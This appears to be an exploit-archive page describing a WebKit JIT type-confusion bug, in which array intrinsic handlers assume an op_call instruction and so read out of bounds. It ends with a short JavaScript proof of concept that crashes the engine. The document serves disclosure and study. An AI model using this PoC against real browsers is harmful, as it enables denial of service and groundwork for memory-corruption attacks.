Webkit jit bytecodeparser::handleintrinsiccall type confusion Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-11-29 | Type : dos | Platform : multiple
This exploit / vulnerability Webkit jit bytecodeparser::handleintrinsiccall type confusion is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

/*
case ArrayPushIntrinsic: {
...

if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
return false;

ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);

...
}

This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.

Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.

PoC:
*/

Array.prototype.__defineGetter__('a', Array.prototype.push);

function opt() {
let arr = new Array(1, 2, 3, 4);
arr['a' + ''];
}

for (let i = 0; i < 1000; i++) {
opt();
}